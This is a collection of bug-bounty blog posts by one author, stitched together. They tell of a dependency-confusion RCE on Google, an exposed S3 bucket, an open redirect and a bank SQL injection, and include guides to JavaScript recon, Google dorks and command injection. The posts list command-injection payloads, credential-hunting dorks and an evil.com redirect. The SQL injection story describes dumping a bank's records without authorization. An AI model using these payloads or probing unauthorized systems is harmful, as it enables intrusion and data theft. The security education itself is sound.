Hey everyone, this is Zabit Majeed . I’m an ethical hacker and a part-time bug bounty hunter, and this story is about persistence more than luck. What began as a routine day of testing quickly turned into hours of frustration endpoints that revealed nothing, payloads that failed silently, and assumptions that kept breaking. But instead of walking away, I leaned in. By carefully observing behavior, questioning every response, and methodically testing Google’s vast attack surface, I found myself closing in on something far more serious than expected. This is the story of how that persistence led to the discovery of a Remote Code Execution vulnerability in Google, and the lessons it taught me along the way.

Phase 1: Pain, Pressure, and the Decision to Fight Back🧠💥

December was supposed to be about college exams. Books, notes, revision.
But my mind was nowhere near academics.

I felt stuck dangerously stuck. I wasn’t improving in studies, and worse, I wasn’t growing as a hacker either. Days passed, and all I could think about was how much time I had already wasted. The future started to feel heavy. Fear crept in quietly at first, then loudly. We all know one truth: no matter the field, survival demands hard work. And in that moment, I felt like I was doing none of it.

That frustration broke something inside me but it also ignited something.

I decided to motivate myself the only way I knew how: by doing something that genuinely made me feel alive. I returned to Google’s bug bounty program, but this time with a rule carved into my mind I would look for only one thing: Remote Code Execution. No distractions. No easy bugs. Just one goal. I turned it into a personal challenge, a fight against my own self-doubt.

Before touching a single endpoint, I studied the scope carefully. I analyzed which assets were in play, which surfaces were realistic, and where RCE could even exist. This wasn’t random hacking anymore. This was deliberate. Focused. Hungry.

And that hunger was only about to grow. 🔥

Phase 2: Sleepless Nights and Obsession with the Giant 🌙🕳️

I decided to start where most people give up early Google subdomains.
Massive. Complex. Ruthless. What I thought would be a systematic process slowly turned into a mental war. Nights passed without sleep. Even when my body begged for rest, my mind refused to shut down. I would lie in bed replaying endpoints, responses, headers everything. My heart raced constantly, and panic attacks became frequent visitors. The pressure wasn’t from Google; it was from myself.

Every failed attempt hurt. Every “nothing found” response felt like proof that I wasn’t good enough. But strangely, the pain didn’t push me away it pulled me deeper. My mind became hungry. Not curious hungry. Hungry to break through. Hungry to prove that I could hunt a giant and not disappear.

At some point, I realized something important: I was exhausted, but I wasn’t defeated. The web attack surface was massive, and brute force curiosity wasn’t enough anymore. If I continued like this, I’d burn out before I learned anything valuable. So I made a hard decision. I stepped back not to quit, but to change strategy. And that single decision quietly changed the entire direction of this journey. 🧭

Phase 3: Stepping Away from the Web and Finding Clarity 🔄🧩

Leaving the web attack surface felt like admitting defeat — but it wasn’t. It was maturity. I knew that if I kept forcing the same approach, I’d only keep getting the same results. So I shifted my focus to something quieter, often ignored, but incredibly powerful: open source software.

At first, I looked for information disclosure issues. The logic was simple — small leaks often lead to bigger compromises. I spent hours digging through repositories, commits, and configurations, but nothing solid surfaced. Every promising lead turned out to be a dead end. The frustration returned, but this time, it didn’t break me.

Then I reminded myself of the rule I had set on day one:
Only RCE. Nothing else.

That moment reset everything.

I stopped chasing random bugs and started learning instead. I read blogs, researched realworld exploitation paths, and studied how minor misconfigurations could escalate into full Remote Code Execution. That’s when I came across something that made my heart race a technique that had quietly caused massive realworld impact: Dependency Confusion.

I realized this wasn’t just a theory. This was a bridge from oversight to execution.

I started researching how package managers resolve dependencies, where they pull packages from, and how missing or misconfigured dependencies could be abused. Slowly, the pieces began to fit together. This wasn’t about speed anymore. This was about understanding.

And for the first time in days, I felt something different.

Hope. ⚡

Phase 4: Automation, Pain, and the First Breakthrough ⚙️🔥

I quickly realized how painful this process was going to be. Google’s open-source ecosystem is massive, and manually checking repositories with hundreds of dependencies was draining especially with my health already taking a toll. The sheer number of packages made human effort unrealistic.

So I did what hackers do best I automated.

I wrote a small Python script to scan repositories and extract dependencies from `package.json`, checking for missing or unpublished packages. It wasn’t fancy, but it worked. After nearly an hour of execution, something finally stood out a package that didn’t exist in the public registry.

That moment changed everything.

I claimed the missing dependency and uploaded it with a preinstall script. The payload was simple but powerful: execute a command and send the output back to my system. No noise. No destruction. Just proof.

When the system installed the package, my code executed.

Remote.
Code.
Execution.

I just sat there staring at the screen silent, shaking, but smiling. 😌

Phase 5: Acceptance, Reality, and a Personal Victory 🎉🤍

I documented everything carefully the methodology, the proof of concept, and the impact and submitted the report to Google. When the triage team responded with *“Nice catch!”*, it felt unreal. All the sleepless nights, panic, and self-doubt suddenly felt worth it. For a moment, I believed this was it.

A few days later, reality set in.

The issue was valid and accepted, but the project turned out to be a standard, non-rewardable, and already offline asset. There would be no bounty. No pay out. Just the report and the acknowledgment. I won’t lie it hurt a little.

But then I realized something important.

I had completed my challenge.

I set out with one goal: find a Remote Code Execution in Google. And I did. Not by luck, not by shortcuts but through persistence, learning, and faith. By the grace of Almighty Allah, I was shown the path when I felt lost, and that lesson mattered more than any reward.

This journey reminded me why I started hacking in the first place not for money, but for growth, discipline, and belief in myself. And that victory? That one stays forever. 💙

If you enjoyed this journey and want to follow along as I continue learning and hunting, feel free to connect with me on LinkedIn:
👉 [https://www.linkedin.com/in/zabitmajeed/](https://www.linkedin.com/in/zabitmajeed/)

Thank you for reading. 🚀

But… not every day is exciting 😅. I’ve faced duplicates, informative reports and N/A bugs countless times. But the real game is to stay consistent 🔥, treat failures as part of the process, and keep moving forward 🚀. This is how I ended up finding a Critical 10.0 severity bug … but that’s the story I’m about to share 🕵️‍♂️.

💻 Phase 1: The Real Start of My Hunting Journey

Bored… frustrated… stuck in repetitive reports. That’s where I was.

College lectures in the morning, laptop open at night. Hunting aimlessly for 10–12 hours without a plan 🕵️‍♂️. Searching subdomains, learning recon, trying random dorks… but getting nowhere.

At one point, I asked myself: Why am I even doing this?

But deep inside, I knew — I loved the challenge 💥. Failure wasn’t the end. It was fuel.

One random day, after switching from Bugcrowd to HackerOne 🚀, I spotted a new target with a fresh tag 🏷️. Something clicked.

“New target… fresh scope… maybe this is the moment I’ve been waiting for.”

That night, I promised myself:
Focus only on criticals. No distractions.

And that’s how my journey towards finding a Critical 10.0 bug officially began… 🔥

🛠️ Phase 2: Building My Recon Arsenal

Now it was game time. 🎯

I decided this wasn’t going to be just another lazy scan session.
I pulled out my tools — and this time, I hunted with purpose. 💥

• 🔎 Subdomain enumeration: Subfinder, Assetfinder, crt.sh
• 🌐 Dorking: Google dorking for hidden endpoints
• 🛠️ Endpoint extraction: Katana + WaybackURLs
• 📂 Filtering: Using GF tool to sort out parameters
• 📜 JavaScript analysis: Digging deep into JS files for hidden data

Everything I found… I saved. 📝

But this time, I wasn’t looking for low-hanging fruit 🍏 like open directories or session flags.
I had one goal in mind:
“Find something that hits Critical.”

I knew it wouldn’t be easy. But I had decided — critical or nothing.

Night after night… failures kept adding up.

But one small discovery was about to change everything… 🚨

💣 Phase 3: The Missed Critical I Almost Ignored

One night, frustrated and exhausted, I opened yet another subdomain.
This time, a small notification popped up from my S3 bucket extension.

“Public S3 Bucket Detected — Listing Enabled”

At first, I ignored it.
“S3 buckets? Informative. They’ll close this like the others.” 😑

But somewhere inside, I felt a small push.
I saved the bucket URL in my notes…
And forgot about it. 🗒️

Two days later, I randomly decided to report it. Without much hope, I submitted the report.

Their first reply?
“Have you found anything interesting inside the bucket?”

Honestly… I ignored their reply for 2–3 days 😅.
I was tired of hearing “Informative” again.

But then… I opened that bucket.

What I saw next shocked me. 😳
Full directory listings. Internal files. Documents.
Database dumps.
Across all interlinked companies… in scope.

I wasn’t looking at an informative anymore.

I was staring at a real, critical breach. 💥

🚨 Phase 4: From Lazy Mistake to Critical 10.0 🚨

Heart racing. Hands shaking. I knew what I had found.

I messaged the triager:
“The bucket contains sensitive files, databases, and internal directories from all linked companies in scope.”

His reply?
“We’re discussing with the team.”

Days passed. I expected nothing.

Then…
💬 “Company has marked this report as Maximum Severity — 10.0 Critical.”

I froze. 😳
My first reaction? Confusion.
“Critical? Really? That simple S3 bucket?”

They had patched it. Triaged my report.
And informed me that swag rewards for criticals were being developed I’ll be rewarded soon.

A random S3 bucket.
Ignored at first.
Turned out to be my first Critical 10.0 win. 🔥

Moral?
📌 Never ignore what feels small.
📌 Don’t trust your exhaustion.
📌 Report and move on — you never know.

🎯 Final Phase: My Personal Message to Every Hunter 🎯

This journey wasn’t just about finding a bug…
It was about breaking my limits. ⚡

I learned something priceless:
Bug bounty isn’t a money race.
It’s a patience game.
It’s a learning path.
It’s about consistency. 🔥

Report. Forget. Hunt again.
Get informative? Accept it.
Get duplicate? Accept it.
But never stop.

Every “small” report you ignore might be hiding your first critical. 💣

To everyone struggling right now:
Stay consistent. Challenge yourself. Keep learning. Your critical moment is coming. 🚀

For more motivation, tips, and my real stories — 
Follow me on LinkedIn: https://www.linkedin.com/in/zabitmajeed/🔥

Youtube channel : https://www.youtube.com/@xabithacks /🔥

👋 Greetings, Fellow Hackers and Cyber Enthusiasts!
I’m XABIT— your friendly neighborhood cybersecurity researcher, part-time bug bounty hunter, and full-time caffeine addict.

What I’m about to share isn’t just another hacking story. It’s a rollercoaster of frustration, discovery, and a critical life decision that every ethical hacker faces sooner or later. Buckle up.

🌌 The Descent Into Madness

It was one of those nights.

The kind where your Bugcrowd submissions keep getting rejected, your college assignments are piling up, and your brain feels like a overheated CPU throttling at 100% usage. I was angry. Restless. Unfocused.

I needed to prove something — to myself.

Not just any vulnerability. Not just another XSS or CSRF. I wanted something big. Something dangerous.

Remote Code Execution via SQL Injection.

The kind of exploit that could own an entire system if mishandled. The kind that separates script kiddies from real researchers.

I cracked my knuckles, gulped down the last of my cold coffee, and dove into the abyss of Google Dorks.

👻 Ghosts in the Government Machines

Hours melted together.

At first, it was the usual — exposed .gov portals, misconfigured databases, sensitive documents lying around like open books. I dutifully reported them, but each submission felt like shouting into a void.

Then Shodan whispered something interesting in my ear — an unsecured military dashboard.

My fingers froze over the keyboard.

No disclosure program. No responsible contact. Just… access.

For a brief, terrifying moment, I considered probing further. The temptation was real. But then I heard my mentor’s voice in my head:

“The measure of a hacker isn’t what they can break into — it’s what they choose not to.”

I closed the tab.

💼 The Bank That Almost Bleed Out

Then, the breakthrough.

A simple Dork:
inurl:*.php?id=

And there it was — a banking portal.

A single apostrophe (’) in the ID parameter made the entire page blank out.

SQL Injection confirmed.

My heart pounded as I started mapping the database:

• Extracted table names
• Dumped user records
• Found admin credentials

For a brief, surreal moment, I held the keys to the kingdom.

I could’ve:

• Drained accounts
• Tampered with transactions
• Owned the entire banking backend

The power was terrifying.

🛡️ The Ethical Crossroads

No bug bounty program. No clear path for disclosure.

Just me, staring at the abyss, wondering:
“What now?”

That’s when I remembered CERT-In — India’s Computer Emergency Response Team.

I drafted a detailed PoC, documented every step, and sent it off with a silent prayer.

Their response?
“We’ve filed your report.”

No reward. No fame. Just the quiet satisfaction of knowing I did the right thing.

🚀 The Aftermath — Why This Matters

That night taught me more than any CTF or certification ever could:

1. The Lowest Points Often Lead to Breakthroughs
   My frustration fueled my focus. Sometimes, anger can be a weapon — if you aim it right.
2. True Power Lies in Restraint
   Any hacker can break things. It takes discipline to walk away from chaos.
3. Ethics Aren’t Optional
   The line between researcher and criminal is thinner than most realize. Stay vigilant.

🔥 Liked This Story?

• Follow for more real-world hacking adventures
• Share to spread the ethos of ethical hacking
• Comment your own “I could’ve gone rogue” moments!

Stay curious. Stay dangerous. Stay ethical.

Hey everyone! 👋
Hope you're all doing great 💯
This is XABIT, and today I’m back with another story — part funny 😂, part frustrating 😤, but 100% real. It’s about a boring day that unexpectedly turned into a thrilling one… thanks to a lucky twist of fate — and a sneaky little redirect. 🔀💻

---

The Day Started Boring... Like, Really Boring 🥱

It was one of those days. I was just sitting in my room, completely zoned out 🧠💤
No dopamine, no bugs, no bounty — just a cycle of disappointment 😩

Every test I ran either turned into a false alarm, or worse, a "Not Applicable" tag 🫠
Imagine finding RSA keys exposed 🔐... and then getting told, "meh, informative" 🤦‍♂️

Frustration? Max level 🔥
Recon? Did almost zero.
Burp Suite? Didn't even bother opening it 🫥

I was just throwing around a Google dork for Twitter and browsing random subdomains like a digital wanderer 🧭

---

The Funny Part: No Tools, Just Pure Instinct 🤣🕵️

There I was… inside some forgotten Twitter subdomain — let’s call it redacted.xyz.twitter.com (can’t remember the exact name 🫡).

Logged in with my creds as usual 🧑‍💻
Then... my cursor accidentally hovered over the logout button —
And there it was:

?redirect_url=https://twitter.com/home

👀 Wait a sec.

I copied the link and replaced it with:

?redirect_url=https://www.evil.com/

Hit Enter...
And guess what?

It redirected. Just like that.
🚨 No warnings. No validation.
💀 Clean open redirect.

---

From Zero to Dopamine Rush 💨💥

That moment hit different 🔥
I sat up straight, heart thumping like I found gold in trash 🪙💻
Took a deep breath 🧘‍♂️, smiled 😏, and started preparing the report ✍️

The boredom? Gone.
The vibe? Back.
The hacker in me? Awakened. ⚡

---

But Then... Reality Slapped Me 💔📩

A few days later… the email came 📨

> "Your report has been marked as informative."

💀

Turns out, it was out of scope.

It felt like when a girl says:
"I love you… but as a friend."
Yeah… ouch 😶‍🌫️

---

But Still, A W Is a W ✅

Even though I didn’t hit the jackpot 💸, this bug was a W in my book 📖
It reminded me that:

🔹 Every valid finding — even if marked as informative — helps grow your skills 🧠
🔹 You’re always one click away from finding something interesting 🤌
🔹 And most importantly: Never stop exploring 🚀

---

Thanks for reading my thrill-filled, boredom-busting bug bounty tale 😄💬
If you enjoyed it, follow me on Medium and Instagram @xabit___ for more stories, tips, and raw hacker experiences 🤘👨‍💻

Until next time —
Stay curious. Stay ethical. Stay legendary. 🕶️🔥

Peace out 🫡

Hello Guys , I’m XABIT , an ethical hacker, cybersecurity researcher, and part-time bug bounty hunter. In today’s write-up, I’ll be discussing the importance of JavaScript (.js) file reconnaissance and why it plays a crucial role in security testing. So, without further delay, let’s get started!

What are JavaScript files?

JavaScript (.js) files are essential components of modern web applications, containing code that makes websites interactive and dynamic. These files are executed by the browser or a server-side environment like Node.js. They enhance user experience by handling events such as clicks, form submissions, and animations, making web pages more responsive. JavaScript files also play a crucial role in fetching and sending data using APIs, allowing seamless communication between the client and server without needing to reload the page. Additionally, they help manipulate HTML and CSS dynamically, enabling real-time updates to a webpage. From a security perspective, JavaScript files can expose sensitive information such as API keys, internal endpoints, or authentication mechanisms, making them valuable for reconnaissance in bug bounty hunting and ethical hacking. Understanding how these files work is essential for both developers and security researchers.

What type of code do JavaScript (.js) files contain, and what are their uses?

JavaScript (.js) files contain different types of code that serve various purposes in web development and security research. Here are the main types of code they include and their uses:

1. DOM Manipulation Code

📌 Purpose: Dynamically update or modify HTML and CSS elements on a webpage.
📌 Example:

document.getElementById("title").innerText = "Hello, World!";

📌 Use Case: Changing text, colors, or styles based on user interaction.

2. Event Handling Code

📌 Purpose: Respond to user actions like clicks, keypresses, or mouse movements.
📌 Example:

document.getElementById("btn").addEventListener("click", function() {
    alert("Button clicked!");
});

📌 Use Case: Validating forms, triggering pop-ups, or handling user inputs.

3. API Calls & AJAX Code

📌 Purpose: Send and receive data from servers without reloading the page.
📌 Example:

fetch("https://api.example.com/data")
    .then(response => response.json())
    .then(data => console.log(data));

📌 Use Case: Fetching live data, updating content dynamically, or handling login sessions.

4. Security-Sensitive Code

📌 Purpose: Some JavaScript files accidentally expose sensitive information.
📌 Example:

const API_KEY = "sk-1234567890abcdef";

📌 Use Case: Attackers look for API keys, authentication tokens, or internal endpoints for security testing and bug hunting.

5. Form Validation Code

📌 Purpose: Validate user input before sending it to the server.
📌 Example:

if (password.length < 8) {
    alert("Password must be at least 8 characters long.");
}

📌 Use Case: Preventing users from submitting incorrect or incomplete forms.

6. Redirect & Navigation Code

📌 Purpose: Automatically redirect users to a different page.
📌 Example:

window.location.href = "https://example.com/dashboard";

📌 Use Case: Handling login redirects or session timeouts.

7. Tracking & Analytics Code

📌 Purpose: Monitor user behavior for analytics and advertising.
📌 Example:

console.log("User visited the page.");

📌 Use Case: Tracking user clicks, visits, and interactions on a website.

8. WebSocket & Real-Time Communication Code

📌 Purpose: Enable real-time messaging, notifications, and live updates.
📌 Example:

let socket = new WebSocket("wss://example.com/socket");
socket.onmessage = function(event) {
    console.log("New message:", event.data);
};

📌 Use Case: Chat applications, stock market updates, or online gaming.

Common Information Disclosures in JavaScript Files

JavaScript (.js) files often contain sensitive information that developers might accidentally expose, making them a valuable target for reconnaissance in security research and bug bounty hunting. Some of the most common types of information disclosures include:

• API Keys & Secrets — Hardcoded API keys, authentication tokens, or secret keys for external services can be found in JavaScript files. If exposed, attackers can misuse these keys to access private APIs or perform unauthorized actions.

const API_KEY = "sk-1234567890abcdef";

• Internal Endpoints & URLs — Hidden API endpoints, private backend services, or staging environments may be left in JavaScript files. Attackers can use these to discover backend APIs and attempt unauthorized access.
• const endpoint = "https://internal.example.com/api/v1/data";
• Authentication Tokens & Session IDs — Some applications mistakenly store authentication tokens in JavaScript files. This can lead to session hijacking or unauthorized access.

const authToken = "Bearer eyJhbGciOiJIUzI1NiIsInR5c…";

• Sensitive Configuration Files — Debugging information, database credentials, or configuration details sometimes appear in JavaScript files. These should never be exposed in production environments.

const dbConfig = { user: "admin", password: "password123" };

• Third-Party Service Credentials — Credentials for cloud services, analytics tools, or payment gateways are sometimes hardcoded. If leaked, attackers can exploit them for financial fraud or data theft.

const stripeKey = "pk_live_1234567890abcdef";

• Debugging & Console Logs — Developers may leave console logs containing sensitive information, which can be extracted by attackers.

console.log("User password: admin123");

• Hardcoded Usernames & Passwords — Some applications store login credentials within JavaScript files, making them easy targets for attackers.
• const username = "admin"; const password = "password123";
• Payment Gateway & Financial Data — Exposed credentials for payment processors like PayPal or Stripe can lead to financial losses and fraud.

const paypalClientID = "A12B34C56D78E90F";

• Feature Flags & Debugging Mode — Indicators of experimental features or test modes might be present, which attackers can exploit to bypass security controls.

const debugMode = true;

• User Data & Personal Information — Some applications accidentally expose email addresses, phone numbers, or other personally identifiable information (PII) in JavaScript files, leading to privacy risks and phishing attacks.

const userEmail = "admin@example.com";

Preventing Information Disclosure in JavaScript Files

To minimize these risks, developers should:

• Avoid hardcoding sensitive data.
• Use environment variables for credentials.
• Implement proper API access controls.
• Always minify and obfuscate JavaScript files before deployment.
• Regularly scan and audit JavaScript files to identify and mitigate potential exposures before they become security threats.

How to Find Information Disclosure in JavaScript Files ?

Finding sensitive information in JavaScript (.js) files is a crucial part of reconnaissance in bug bounty hunting and security research. Below is a step-by-step method to extract JavaScript files and manually analyze them for information disclosures.

Step 1: Find Subdomains & Alive Domains

First, gather all subdomains of the target and filter out the alive ones. Tools like subfinder, assetfinder, and httpx can be useful.

Step 2: Extract JavaScript Files Using Katana

Use katana to extract JavaScript file URLs from alive domains:

cat alive.txt | katana -u -o katana.txt

Step 3: Filter JavaScript Files

Extract only the JavaScript URLs containing the target domain (replace dhs.gov with your target domain):

grep -E "(example\.gov|example\.gov|example\.gov|example\.gov)" allurls.txt > allurls_filtered.txt && mv allurls_filtered.txt allurls.txt
grep -E "(example\.gov|example\.gov|example\.gov|example\.gov)" allurls.txt | grep -E "\.js(\?|$)" > js.txt

Step 4: Manual Analysis of JavaScript Files

Since automated tools may miss certain disclosures, manual inspection is preferred for accuracy. Open the JavaScript files in Chrome and search for sensitive keywords using Ctrl + F:

Look for keywords such as:

• api_key / apikeys
• username=
• password
• admin
• root
• api
• .git
• oauth
• token

For example, open example.com/user.js in Chrome and search for the above terms to locate sensitive data.

Why Manual Methods?

While automated scanners exist, manual analysis often yields better results, especially when dealing with obfuscated or minified JavaScript files. This method ensures accurate findings with minimal false positives.

I hope you found this write-up helpful in your bug bounty and ethical hacking journey! 🚀 If you enjoyed it, make sure to follow me and support my work for more detailed write-ups on cybersecurity, hacking techniques, and reconnaissance tips.

Stay tuned for more, and don’t forget to follow me on Instagram @xabit___ for regular updates and insights. Happy hacking! 🔥💻 #BugBounty #EthicalHacking #CyberSecurity

Hello everyone! My name is XABIT , and I am an Ethical Hacker and Cybersecurity Researcher. Today, I’ll be discussing the importance of Google Dorks in bug bounty and ethical hacking. If used correctly, Google Dorking can help security researchers uncover sensitive data, misconfigurations, and potential vulnerabilities. However, if misused, it can lead to serious consequences. So, let’s dive in!

What is Google Dorking?

Google Dorking, also known as Google Hacking, is a legitimate technique used by cybersecurity professionals to find publicly exposed sensitive information through Google search queries. By using specially crafted search operators, one can locate usernames, passwords, exposed files, admin panels, and even confidential documents that organizations may have unintentionally made accessible.

Why is Google Dorking Important in Ethical Hacking and Bug Bounty?
1. Information Gathering — Before launching any penetration test or bug bounty assessment, reconnaissance is key. Google Dorks help find useful information without directly interacting with the target.

2. Identifying Sensitive Files — Many websites accidentally expose database files, credentials, and internal documents that can be found using filetype-based queries.

3. Finding Vulnerable Admin Panels — Attackers can look for misconfigured or publicly accessible admin pages, allowing ethical hackers to report and secure such issues before they are exploited.

4. Exposing Security Misconfigurations — Misconfigured directories, log files, and backup files can often be indexed by Google and retrieved via dorking.

5. Efficient and Time-Saving — Instead of manually checking thousands of pages, Google Dorking automates information retrieval using powerful search operators.

Google Dorking Operators

To effectively use Google Dorking, we utilize advanced search operators. Here are some of the most commonly used ones:

Operator Description Example :

site:Searches within a specific website

site:example.com

filetype:Finds specific file types (e.g., PDF, TXT)

filetype:pdf "confidential"

inurl: Looks for keywords in URLs

inurl:admin

intitle: Searches for keywords in page titles

intitle:"index of"

intext: Finds specific text within web pages

intext:"password"

ext:Similar to filetype, searches for file extensions

ext:txt "private key"

"keyword"Searches for exact phrases

"confidential data"

Google Dorking in Bug Bounty Hunting :
Bug bounty hunters often use specific keywords to find sensitive data. Some useful dorking queries include:

1. Finding Exposed Credentials:
filetype:txt “username” “password” site:example.com
This query searches for text files containing usernames and passwords within a particular site.

2. Identifying Open Databases:
site:example.com ext:sql | ext:db | ext:bak
This helps in locating SQL databases or backup files that may contain sensitive user data.

3. Discovering Admin Panels:
inurl:admin login site:example.com
Used to find administrator login pages that might be unprotected or vulnerable.

4. Searching for Exposed API Keys:
filetype:env “API_KEY” | “SECRET_KEY”
This searches for configuration files containing API keys, which could be exploited by attackers if not properly secured.

5. Locating Confidential Documents:
filetype:pdf “confidential” site:example.com
Helps find sensitive PDF files that may have been accidentally indexed by Google.

Precautions and Responsible Usage

Although Google Dorking is a powerful tool, it must be used ethically and responsibly. Never misuse Google Dorks to access or exploit sensitive data unlawfully. Always report vulnerabilities responsibly through bug bounty programs or responsible disclosure policies.

Legal and Ethical Considerations

• Never use dorking to access or steal private data.
• Always have permission before testing a target website.
• Follow bug bounty platform guidelines (HackerOne, Bugcrowd, etc.).
• Report security issues responsibly instead of exploiting them.

Conclusion

Google Dorking is a crucial skill in ethical hacking and bug bounty hunting. It allows security researchers to uncover publicly exposed data and help organizations fix security flaws before they can be exploited by malicious actors. However, it should always be used legally and ethically to ensure responsible cybersecurity practices.

If you found this write-up useful, make sure to follow me on Instagram @xabit___ and stay tuned for more cybersecurity insights! 🚀

So, let’s dive straight into it — no boring intros, just pure adrenaline-fueled hacking madness!

The Beginning of an Obsession

A few months ago, an idea struck me — what if I made my mark on Google? What if I could hunt for vulnerabilities, break into their systems ethically, and earn a spot in their legendary Hall of Fame?

And so, in December 2024, I created my Bug Hunters Google platform account with a single goal — find a high-impact vulnerability and either get rewarded or earn the Hall of Fame recognition.

January came, and my hunt began. At first, it was just 1–2 hours a day, testing the waters — subdomain enumeration, JS file analysis, sensitive data exposure checks, all the usual recon stuff. But as the days passed, my hunger grew. I doubled down, pushing from 2 hours to 5–6 hours daily, obsessing over Google’s functionalities, looking for any loophole that could create massive impact.

But luck wasn’t on my side. Nothing. No major finds. No success.

From Frustration to Strategy — Using Google Against Google

If the standard hunting techniques weren’t working, I had to think differently. Instead of just looking for vulnerabilities, I decided to turn Google’s own functionalities against itself — to create an impact so massive that they couldn’t ignore it.

That’s when I struck gold — 3 to 5 high-impact abuse-related vulnerabilities. My heart pounded as I submitted them, confident that this was it! But… BOOM!

❌ All of them got triaged.

At first, I thought, “Okay, at least they’re acknowledged.” But then, the biggest heartbreak — they got marked as duplicates! DUPLICATES! 😡

I was furious. All my hard work, gone. But I refused to back down. I had come too far to quit.

The Rollercoaster of Highs and Lows

Fueled by frustration, I went in even harder. Then, I found an SSRF vulnerability with internal port scanning. This was huge! I could scan internal ports, something that could have led to serious security issues.

I submitted it with confidence, only to see it get closed as intended behavior.

Another heartbreak. 💔

Still, I refused to stop. I found sensitive data exposure, only to get another rejection — user’s fault, not Google’s.

At this point, I was mentally exhausted. Days of hunting. Zero wins. But I had already stepped into the battlefield. There was no going back now.

Then came February, and I finally had a breakthrough — I discovered an Exif vulnerability.

This had to be THE ONE.

I submitted it, anxiously waiting… and then, the unthinkable happened — DUPLICATE. AGAIN. 😵‍💫

I was in shock. What was happening? Why was everything getting marked as duplicate?

At that moment, most people would have given up. But not me. If there was even a 1% chance, I was taking it.

The Final Strike — A Hall of Fame-Worthy Find

Pushing through exhaustion and frustration, I kept digging. Then, I stumbled upon something insane — a major vulnerability in Gemini (can’t disclose details as it’s still unfixed).

But given my history with duplicates, I knew I couldn’t stop here. I had to keep going.

And then, it happened — I found something explosive.

Google had accidentally exposed confidential information belonging to another highly reputed company.

I couldn’t believe my eyes. Trade secrets. Sensitive data. Critical information.

This was serious.

I quickly reported it, expecting an immediate impact. But LOL — it got marked as not applicable! 🤡

No way.

I wasn’t about to let this go. I went back, analyzed the document again, and rewrote my report. This time, I focused on the real implications of the exposure.

And then…

💥 BOOM! Triage.

A message popped up: “We have filed this bug to the team and will inform you shortly.”

Victory — A Name Etched in History

A few days later, I casually checked my Google Bug Hunters ID… and there it was —

🔥 MY NAME IN GOOGLE’S HALL OF FAME. 🔥

I had done it. After months of grinding, frustration, failures, heartbreaks, and relentless effort, I had finally won.

I am now officially recognized as a Google Security Researcher, and my name is forever etched in the Hall of Fame.

This wasn’t just a win for me — it was proof that no matter how many times you fall, you get back up, and you keep fighting.

If you’re on your own hacking journey, remember this — NEVER GIVE UP.

Because the moment you decide to keep going is the moment you win.

🚀 Keep hacking, keep learning, and one day, you’ll make history too.

If you enjoyed this journey and want more hacking content, make sure to follow me on Instagram [ @xabit___ ] and here on Medium for more stories, techniques, and bug bounty experiences!

🔥 The grind never stops. See you in the next one! 💻⚡

Hey everyone, this is zabit! I’m an ethical hacker and a part-time bug bounty hunter. But this story? This one’s different. It’s about how a day of frustration turned into a thrilling hunt, leading me straight to an information disclosure vulnerability in Microsoft. Buckle up! 🚀

The Day of Boredom & Heartbreak 💔

It all started with a rough day. I was on a self-hosted bug hunting spree, chasing down vulnerabilities, but all I got was silence — no replies, no acknowledgments, nothing. The disappointment was real, and honestly, I felt like giving up for the day.

Scrolling through my feed with zero motivation, I suddenly came across a post about Microsoft’s Bug Bounty Program. That caught my attention. Not just because of the rewards, but because of something even better — if a submission is valid but doesn’t qualify for a bounty, they still acknowledge you in their Hall of Fame. That was it. I snapped out of my slump, fired up my tools, and locked onto a new target: Microsoft.

The Recon Begins 🔍

I went all in. Subfinder, Amass, httpx-toolkit — I ran everything I had, digging deep for critical endpoints. This time, I wasn’t after low-impact bugs. I wanted something big — SQLi, RCE, command injection, information disclosure — anything with a visible impact.

The hunt wasn’t easy. I tested for SQL injection via headers, parameters, cookies — nothing. Command injection? No luck. File uploads? Still nothing. Frustration started creeping in again, but I wasn’t stopping this time.

Shifting Tactics — Hunting for Sensitive Data 🕵️

Since technical vulnerabilities weren’t showing up, I switched my approach. Instead of looking for direct exploits, I hunted for sensitive data — things that weren’t meant to be public.

🔹 I dug through archived data using Wayback Machine.
🔹 I scraped JavaScript files, hoping to uncover hardcoded credentials.
🔹 I started analyzing internal documents and product information.

And then — BAM! Jackpot. I found trade secrets exposed on a subdomain — let’s call it xyz.microsoft.com (not the real name, of course). This was serious. The documents contained enough sensitive details that, if misused, could have caused major problems for Microsoft.

The Final Push — A Backup Report & Responsible Disclosure 📜

Finding one vulnerability wasn’t enough. I wanted to submit something rock solid, so I dug deeper and uncovered a technical vulnerability that I can’t disclose yet (since it’s still being patched).

With everything ready, I drafted my reports and sent them to Microsoft. And then, the waiting game began…

The Microsoft Response — Fast, Professional & Appreciative

To my surprise, Microsoft’s response time was amazing. They immediately acknowledged the report and began reviewing the issue. Here’s how it went down:

✅ Status changed from New to Review / Repro — Jan 31, 2025
✅ Confirmed vulnerability & fixed it instantly — Feb 6, 2025, 9:30 PM
✅ Reviewing for bounty — Feb 12, 2025
✅ Status changed from Pre-Release to Complete — Feb 12, 2025

Why Microsoft’s Bug Bounty Program is Amazing 💙

If you’re into bug hunting, I highly recommend working with Microsoft. They never disappoint. Their professionalism, clear communication, and quick response times make it a great experience. And whether you get a bounty or not, they always recognize valid submissions — which is rare in the bug bounty world.

Final Thoughts & What’s Next?

This experience taught me that even on the most frustrating days, persistence pays off. You never know when you’ll stumble upon something big.

I’ll update this post once my name is in the Microsoft Hall of Fame! Until then, keep hunting, stay motivated, and don’t forget to follow me here and on Instagram (@xabit___) for more stories like this.

Thanks for reading — happy hacking! 🔥💻

Command execution vulnerabilities occur when an application improperly processes user-supplied input, allowing an attacker to execute system commands on the underlying server. These are high-severity vulnerabilities that can lead to server compromise, data exfiltration, or privilege escalation.

1. Understanding Command Execution Vulnerabilities

Command execution occurs when an application allows user-controlled input to be executed as a system command. This usually happens due to improper input sanitization in web applications that invoke system utilities.

Types of Command Execution

• Remote Code Execution (RCE): Allows an attacker to execute arbitrary commands remotely.
• OS Command Injection: Occurs when user input is concatenated into a system command without proper sanitization.

Common Entry Points

• File upload mechanisms
• Debug parameters
• API endpoints
• Form fields
• Headers such as User-Agent or X-Forwarded-For
• URL query parameters

There are several manual and automated methods to detect command injection vulnerabilities.

A. Manual Testing :

1. Identify Areas Where Commands May Be Executed :

• Look for places where the application interacts with the system (eg., ping, nslookup, curl, zip).
• Check input fields that interact with system commands.

2. Inject Command Execution Payloads :

Try injecting system commands into fields or parameters, separated by operators:

Linux: ;id , && id , | id , $(id) , `id`

Windows: & whoami , | whoami , && whoami

If the response contains system information, the application is vulnerable.

3. Use Time-Based Testing
Some apps filter output, so you can test using time delays:

• Linux: sleep 10 , ; sleep 10 , && sleep 10

